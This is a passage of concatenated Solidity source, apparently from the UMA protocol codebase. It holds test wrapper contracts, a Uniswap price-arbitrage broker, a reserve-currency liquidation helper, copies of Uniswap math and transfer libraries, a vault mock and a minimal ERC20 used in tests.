_contractWhitelist[contractAddress] = true; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../interfaces/VotingInterface.sol"; import "../VoteTiming.sol"; // Wraps the library VoteTiming for testing purposes. contract VoteTimingTest { using VoteTiming for VoteTiming.Data; VoteTiming.Data public voteTiming; constructor(uint256 phaseLength) public { wrapInit(phaseLength); } function wrapComputeCurrentRoundId(uint256 currentTime) external view returns (uint256) { return voteTiming.computeCurrentRoundId(currentTime); } function wrapComputeCurrentPhase(uint256 currentTime) external view returns (VotingAncillaryInterface.Phase) { return voteTiming.computeCurrentPhase(currentTime); } function wrapInit(uint256 phaseLength) public { voteTiming.init(phaseLength); } } pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/lib/contracts/libraries/Babylonian.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import "@uniswap/lib/contracts/libraries/FullMath.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; /** * @title UniswapBroker * @notice Trading contract used to arb uniswap pairs to a desired "true" price. Intended use is to arb UMA perpetual * synthetics that trade off peg. This implementation can ber used in conjunction with a DSProxy contract to atomically * swap and move a uniswap market. */ contract UniswapBroker { using SafeMath for uint256; /** * @notice Swaps an amount of either token such that the trade results in the uniswap pair's price being as close as * possible to the truePrice. * @dev True price is expressed in the ratio of token A to token B. * @dev The caller must approve this contract to spend whichever token is intended to be swapped. * @param tradingAsEOA bool to indicate if the UniswapBroker is being called by a DSProxy or an EOA. * @param uniswapRouter address of the uniswap router used to facilitate trades. * @param uniswapFactory address of the uniswap factory used to fetch current pair reserves. * @param swappedTokens array of addresses which are to be swapped. The order does not matter as the function will figure * out which tokens need to be exchanged to move the market to the desired "true" price. * @param truePriceTokens array of unit used to represent the true price. 0th value is the numerator of the true price * and the 1st value is the the denominator of the true price. * @param maxSpendTokens array of unit to represent the max to spend in the two tokens. * @param to recipient of the trade proceeds. * @param deadline to limit when the trade can execute. If the tx is mined after this timestamp then revert. */ function swapToPrice( bool tradingAsEOA, address uniswapRouter, address uniswapFactory, address[2] memory swappedTokens, uint256[2] memory truePriceTokens, uint256[2] memory maxSpendTokens, address to, uint256 deadline ) public { IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter); // true price is expressed as a ratio, so both values must be non-zero require(truePriceTokens[0] != 0 && truePriceTokens[1] != 0, "SwapToPrice: ZERO_PRICE"); // caller can specify 0 for either if they wish to swap in only one direction, but not both require(maxSpendTokens[0] != 0 || maxSpendTokens[1] != 0, "SwapToPrice: ZERO_SPEND"); bool aToB; uint256 amountIn; { (uint256 reserveA, uint256 reserveB) = getReserves(uniswapFactory, swappedTokens[0], swappedTokens[1]); (aToB, amountIn) = computeTradeToMoveMarket(truePriceTokens[0], truePriceTokens[1], reserveA, reserveB); } require(amountIn > 0, "SwapToPrice: ZERO_AMOUNT_IN"); // spend up to the allowance of the token in uint256 maxSpend = aToB ? maxSpendTokens[0] : maxSpendTokens[1]; if (amountIn > maxSpend) { amountIn = maxSpend; } address tokenIn = aToB ? swappedTokens[0] : swappedTokens[1]; address tokenOut = aToB ? swappedTokens[1] : swappedTokens[0]; TransferHelper.safeApprove(tokenIn, address(router), amountIn); if (tradingAsEOA) TransferHelper.safeTransferFrom(tokenIn, msg.sender, address(this), amountIn); address[] memory path = new address[](2); path[0] = tokenIn; path[1] = tokenOut; router.swapExactTokensForTokens( amountIn, 0, // amountOutMin: we can skip computing this number because the math is tested within the uniswap tests. path, to, deadline ); } /** * @notice Given the "true" price a token (represented by truePriceTokenA/truePriceTokenB) and the reservers in the * uniswap pair, calculate: a) the direction of trade (aToB) and b) the amount needed to trade (amountIn) to move * the pool price to be equal to the true price. * @dev Note that this method uses the Babylonian square root method which has a small margin of error which will * result in a small over or under estimation on the size of the trade needed. * @param truePriceTokenA the nominator of the true price. * @param truePriceTokenB the denominator of the true price. * @param reserveA number of token A in the pair reserves * @param reserveB number of token B in the pair reserves */ // function computeTradeToMoveMarket( uint256 truePriceTokenA, uint256 truePriceTokenB, uint256 reserveA, uint256 reserveB ) public pure returns (bool aToB, uint256 amountIn) { aToB = FullMath.mulDiv(reserveA, truePriceTokenB, reserveB) < truePriceTokenA; uint256 invariant = reserveA.mul(reserveB); // The trade βˆ†a of token a required to move the market to some desired price P' from the current price P can be // found with βˆ†a=(kP')^1/2-Ra. uint256 leftSide = Babylonian.sqrt( FullMath.mulDiv( invariant, aToB ? truePriceTokenA : truePriceTokenB, aToB ? truePriceTokenB : truePriceTokenA ) ); uint256 rightSide = (aToB ? reserveA : reserveB); if (leftSide < rightSide) return (false, 0); // compute the amount that must be sent to move the price back to the true price. amountIn = leftSide.sub(rightSide); } // The methods below are taken from https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol // We could import this library into this contract but this library is dependent Uniswap's SafeMath, which is bound // to solidity 6.6.6. Hardhat can easily deal with two different sets of solidity versions within one project so // unit tests would continue to work fine. However, this would break truffle support in the repo as truffle cant // handel having two different solidity versions. As a work around, the specific methods needed in the UniswapBroker // are simply moved here to maintain truffle support. function getReserves( address factory, address tokenA, address tokenB ) public view returns (uint256 reserveA, uint256 reserveB) { (address token0, ) = sortTokens(tokenA, tokenB); (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); } // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address tokenA, address tokenB ) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address( uint256( keccak256( abi.encodePacked( hex"ff", factory, keccak256(abi.encodePacked(token0, token1)), hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash ) ) ) ); } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // SPDX-License-Identifier: CC-BY-4.0 pragma solidity >=0.4.0; // taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1 // license is CC-BY-4.0 library FullMath { function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; if (h == 0) return l / d; require(h < d, 'FullMath: FULLDIV_OVERFLOW'); return fullDiv(l, h, d); } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol"; import "../../common/implementation/FixedPoint.sol"; /** * @title ReserveCurrencyLiquidator * @notice Helper contract to enable a liquidator to hold one reserver currency and liquidate against any number of * financial contracts. Is assumed to be called by a DSProxy which holds reserve currency. */ contract ReserveCurrencyLiquidator { using SafeMath for uint256; using FixedPoint for FixedPoint.Unsigned; /** * @notice Swaps required amount of reserve currency to collateral currency which is then used to mint tokens to * liquidate a position within one transaction. * @dev After the liquidation is done the DSProxy that called this method will have an open position AND pending * liquidation within the financial contract. The bot using the DSProxy should withdraw the liquidation once it has * passed liveness. At this point the position can be manually unwound. * @dev Any synthetics & collateral that the DSProxy already has are considered in the amount swapped and minted. * These existing tokens will be used first before any swaps or mints are done. * @dev If there is a token shortfall (either from not enough reserve to buy sufficient collateral or not enough * collateral to begins with or due to slippage) the script will liquidate as much as possible given the reserves. * @param uniswapRouter address of the uniswap router used to facilitate trades. * @param financialContract address of the financial contract on which the liquidation is occurring. * @param reserveCurrency address of the token to swap for collateral. THis is the common currency held by the DSProxy. * @param liquidatedSponsor address of the sponsor to be liquidated. * @param maxReserveTokenSpent maximum number of reserve tokens to spend in the trade. Bounds slippage. * @param minCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token is below this value. * @param maxCollateralPerTokenLiquidated abort the liquidation if the position's collateral per token exceeds this value. * @param maxTokensToLiquidate max number of tokens to liquidate. For a full liquidation this is the full position debt. * @param deadline abort the trade and liquidation if the transaction is mined after this timestamp. **/ function swapMintLiquidate( address uniswapRouter, address financialContract, address reserveCurrency, address liquidatedSponsor, FixedPoint.Unsigned calldata maxReserveTokenSpent, FixedPoint.Unsigned calldata minCollateralPerTokenLiquidated, FixedPoint.Unsigned calldata maxCollateralPerTokenLiquidated, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) public { IFinancialContract fc = IFinancialContract(financialContract); // 1. Calculate the token shortfall. This is the synthetics to liquidate minus any synthetics the DSProxy already // has. If this number is negative(balance large than synthetics to liquidate) the return 0 (no shortfall). FixedPoint.Unsigned memory tokenShortfall = subOrZero(maxTokensToLiquidate, getSyntheticBalance(fc)); // 2. Calculate how much collateral is needed to make up the token shortfall from minting new synthetics. FixedPoint.Unsigned memory gcr = fc.pfc().divCeil(fc.totalTokensOutstanding()); FixedPoint.Unsigned memory collateralToMintShortfall = tokenShortfall.mulCeil(gcr); // 3. Calculate the total collateral required. This considers the final fee for the given collateral type + any // collateral needed to mint the token short fall. FixedPoint.Unsigned memory totalCollateralRequired = getFinalFee(fc).add(collateralToMintShortfall); // 4.a. Calculate how much collateral needs to be purchased. If the DSProxy already has some collateral then this // will factor this in. If the DSProxy has more collateral than the total amount required the purchased = 0. FixedPoint.Unsigned memory collateralToBePurchased = subOrZero(totalCollateralRequired, getCollateralBalance(fc)); // 4.b. If there is some collateral to be purchased, execute a trade on uniswap to meet the shortfall. // Note the path assumes a direct route from the reserve currency to the collateral currency. if (collateralToBePurchased.isGreaterThan(0) && reserveCurrency != fc.collateralCurrency()) { IUniswapV2Router01 router = IUniswapV2Router01(uniswapRouter); address[] memory path = new address[](2); path[0] = reserveCurrency; path[1] = fc.collateralCurrency(); TransferHelper.safeApprove(reserveCurrency, address(router), maxReserveTokenSpent.rawValue); router.swapTokensForExactTokens( collateralToBePurchased.rawValue, maxReserveTokenSpent.rawValue, path, address(this), deadline ); } // 4.c. If at this point we were not able to get the required amount of collateral (due to insufficient reserve // or not enough collateral in the contract) the script should try to liquidate as much as it can regardless. // Update the values of total collateral to the current collateral balance and re-compute the tokenShortfall // as the maximum tokens that could be liquidated at the current GCR. if (totalCollateralRequired.isGreaterThan(getCollateralBalance(fc))) { totalCollateralRequired = getCollateralBalance(fc); collateralToMintShortfall = totalCollateralRequired.sub(getFinalFee(fc)); tokenShortfall = collateralToMintShortfall.divCeil(gcr); } // 5. Mint the shortfall synthetics with collateral. Note we are minting at the GCR. // If the DSProxy already has enough tokens (tokenShortfall = 0) we still preform the approval on the collateral // currency as this is needed to pay the final fee in the liquidation tx. TransferHelper.safeApprove(fc.collateralCurrency(), address(fc), totalCollateralRequired.rawValue); if (tokenShortfall.isGreaterThan(0)) fc.create(collateralToMintShortfall, tokenShortfall); // The liquidatableTokens is either the maxTokensToLiquidate (if we were able to buy/mint enough) or the full // token token balance at this point if there was a shortfall. FixedPoint.Unsigned memory liquidatableTokens = maxTokensToLiquidate; if (maxTokensToLiquidate.isGreaterThan(getSyntheticBalance(fc))) liquidatableTokens = getSyntheticBalance(fc); // 6. Liquidate position with newly minted synthetics. TransferHelper.safeApprove(fc.tokenCurrency(), address(fc), liquidatableTokens.rawValue); fc.createLiquidation( liquidatedSponsor, minCollateralPerTokenLiquidated, maxCollateralPerTokenLiquidated, liquidatableTokens, deadline ); } // Helper method to work around subtraction overflow in the case of: a - b with b > a. function subOrZero(FixedPoint.Unsigned memory a, FixedPoint.Unsigned memory b) internal pure returns (FixedPoint.Unsigned memory) { return b.isGreaterThanOrEqual(a) ? FixedPoint.fromUnscaledUint(0) : a.sub(b); } // Helper method to return the current final fee for a given financial contract instance. function getFinalFee(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) { return IStore(IFinder(fc.finder()).getImplementationAddress("Store")).computeFinalFee(fc.collateralCurrency()); } // Helper method to return the collateral balance of this contract. function getCollateralBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) { return FixedPoint.Unsigned(IERC20(fc.collateralCurrency()).balanceOf(address(this))); } // Helper method to return the synthetic balance of this contract. function getSyntheticBalance(IFinancialContract fc) internal returns (FixedPoint.Unsigned memory) { return FixedPoint.Unsigned(IERC20(fc.tokenCurrency()).balanceOf(address(this))); } } // Define some simple interfaces for dealing with UMA contracts. interface IFinancialContract { struct PositionData { FixedPoint.Unsigned tokensOutstanding; uint256 withdrawalRequestPassTimestamp; FixedPoint.Unsigned withdrawalRequestAmount; FixedPoint.Unsigned rawCollateral; uint256 transferPositionRequestPassTimestamp; } function positions(address sponsor) external returns (PositionData memory); function collateralCurrency() external returns (address); function tokenCurrency() external returns (address); function finder() external returns (address); function pfc() external returns (FixedPoint.Unsigned memory); function totalTokensOutstanding() external returns (FixedPoint.Unsigned memory); function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) external; function createLiquidation( address sponsor, FixedPoint.Unsigned calldata minCollateralPerToken, FixedPoint.Unsigned calldata maxCollateralPerToken, FixedPoint.Unsigned calldata maxTokensToLiquidate, uint256 deadline ) external returns ( uint256 liquidationId, FixedPoint.Unsigned memory tokensLiquidated, FixedPoint.Unsigned memory finalFeeBond ); } interface IStore { function computeFinalFee(address currency) external returns (FixedPoint.Unsigned memory); } interface IFinder { function getImplementationAddress(bytes32 interfaceName) external view returns (address); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../common/implementation/FixedPoint.sol"; import "@uniswap/lib/contracts/libraries/TransferHelper.sol"; // Simple contract used to redeem tokens using a DSProxy from an emp. contract TokenRedeemer { function redeem(address financialContractAddress, FixedPoint.Unsigned memory numTokens) public returns (FixedPoint.Unsigned memory) { IFinancialContract fc = IFinancialContract(financialContractAddress); TransferHelper.safeApprove(fc.tokenCurrency(), financialContractAddress, numTokens.rawValue); return fc.redeem(numTokens); } } interface IFinancialContract { function redeem(FixedPoint.Unsigned memory numTokens) external returns (FixedPoint.Unsigned memory amountWithdrawn); function tokenCurrency() external returns (address); } /* MultiRoleTest contract. */ // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/MultiRole.sol"; // The purpose of this contract is to make the MultiRole creation methods externally callable for testing purposes. contract MultiRoleTest is MultiRole { function createSharedRole( uint256 roleId, uint256 managingRoleId, address[] calldata initialMembers ) external { _createSharedRole(roleId, managingRoleId, initialMembers); } function createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) external { _createExclusiveRole(roleId, managingRoleId, initialMember); } // solhint-disable-next-line no-empty-blocks function revertIfNotHoldingRole(uint256 roleId) external view onlyRoleHolder(roleId) {} } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/Testable.sol"; // TestableTest is derived from the abstract contract Testable for testing purposes. contract TestableTest is Testable { // solhint-disable-next-line no-empty-blocks constructor(address _timerAddress) public Testable(_timerAddress) {} function getTestableTimeAndBlockTime() external view returns (uint256 testableTime, uint256 blockTime) { // solhint-disable-next-line not-rely-on-time return (getCurrentTime(), now); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../interfaces/VaultInterface.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Mock for yearn-style vaults for use in tests. */ contract VaultMock is VaultInterface { IERC20 public override token; uint256 private pricePerFullShare = 0; constructor(IERC20 _token) public { token = _token; } function getPricePerFullShare() external view override returns (uint256) { return pricePerFullShare; } function setPricePerFullShare(uint256 _pricePerFullShare) external { pricePerFullShare = _pricePerFullShare; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Interface for Yearn-style vaults. * @dev This only contains the methods/events that we use in our contracts or offchain infrastructure. */ abstract contract VaultInterface { // Return the underlying token. function token() external view virtual returns (IERC20); // Gets the number of return tokens that a "share" of this vault is worth. function getPricePerFullShare() external view virtual returns (uint256); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title Implements only the required ERC20 methods. This contract is used * test how contracts handle ERC20 contracts that have not implemented `decimals()` * @dev Mostly copied from Consensys EIP-20 implementation: * https://github.com/ConsenSys/Tokens/blob/fdf687c69d998266a95f15216b1955a4965a0a6d/contracts/eip20/EIP20.sol */ contract BasicERC20 is IERC20 { uint256 private constant MAX_UINT256 = 2**256 - 1; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; uint256 private _totalSupply; constructor(uint256 _initialAmount) public { balances[msg.sender] = _initialAmount; _totalSupply = _initialAmount; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public override returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public override returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public override returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../ResultComputation.sol"; import "../../../common/implementation/FixedPoint.sol"; // Wraps the library ResultComputation for testing purposes. contract ResultComputationTest { using ResultComputation for ResultComputation.Data; ResultComputation.Data public data; function wrapAddVote(int256 votePrice, uint256 numberTokens) external { data.addVote(votePrice, FixedPoint.Unsigned(numberTokens)); } function wrapGetResolvedPrice(uint256 minVoteThreshold) external view returns (bool isResolved, int256 price) { return data.getResolvedPrice(FixedPoint.Unsigned(minVoteThreshold)); } function wrapWasVoteCorrect(bytes32 revealHash) external view returns (bool) { return data.wasVoteCorrect(revealHash); } function wrapGetTotalCorrectlyVotedTokens() external view returns (uint256) { return data.getTotalCorrectlyVotedTokens().rawValue; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../Voting.sol"; import "../../../common/implementation/FixedPoint.sol"; // Test contract used to access internal variables in the Voting contract. contract VotingTest is Voting { constructor( uint256 _phaseLength, FixedPoint.Unsigned memory _gatPercentage, FixedPoint.Unsigned memory _inflationRate, uint256 _rewardsExpirationTimeout, address _votingToken, address _finder, address _timerAddress ) public Voting( _phaseLength, _gatPercentage, _inflationRate, _rewardsExpirationTimeout, _votingToken, _finder, _timerAddress ) {} function getPendingPriceRequestsArray() external view returns (bytes32[] memory) { return pendingPriceRequests; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../implementation/FixedPoint.sol"; // Wraps the FixedPoint library for testing purposes. contract UnsignedFixedPointTest { using FixedPoint for FixedPoint.Unsigned; using FixedPoint for uint256; using SafeMath for uint256; function wrapFromUnscaledUint(uint256 a) external pure returns (uint256) { return FixedPoint.fromUnscaledUint(a).rawValue; } function wrapIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isEqual(b); } function wrapIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(FixedPoint.Unsigned(b)); } function wrapIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThan(b); } function wrapMixedIsGreaterThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isGreaterThanOrEqual(b); } function wrapMixedIsGreaterThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThan(FixedPoint.Unsigned(b)); } function wrapMixedIsGreaterThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isGreaterThanOrEqual(FixedPoint.Unsigned(b)); } function wrapIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(FixedPoint.Unsigned(b)); } function wrapIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThan(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThan(b); } function wrapMixedIsLessThanOrEqual(uint256 a, uint256 b) external pure returns (bool) { return FixedPoint.Unsigned(a).isLessThanOrEqual(b); } function wrapMixedIsLessThanOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThan(FixedPoint.Unsigned(b)); } function wrapMixedIsLessThanOrEqualOpposite(uint256 a, uint256 b) external pure returns (bool) { return a.isLessThanOrEqual(FixedPoint.Unsigned(b)); } function wrapMin(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).min(FixedPoint.Unsigned(b)).rawValue; } function wrapMax(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).max(FixedPoint.Unsigned(b)).rawValue; } function wrapAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedAdd(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).add(b).rawValue; } function wrapSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(FixedPoint.Unsigned(b)).rawValue; } // The first uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSub(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).sub(b).rawValue; } // The second uint256 is interpreted with a scaling factor and is converted to an `Unsigned` directly. function wrapMixedSubOpposite(uint256 a, uint256 b) external pure returns (uint256) { return a.sub(FixedPoint.Unsigned(b)).rawValue; } function wrapMul(uint256 a, uint256 b) external pure returns (uint256) { return FixedPoint.Unsigned(a).mul(FixedPoint.Unsigned(b)).rawValue; } function wrapMulCeil(uint256 a, uint256 b) external pure returns (uint256) { return 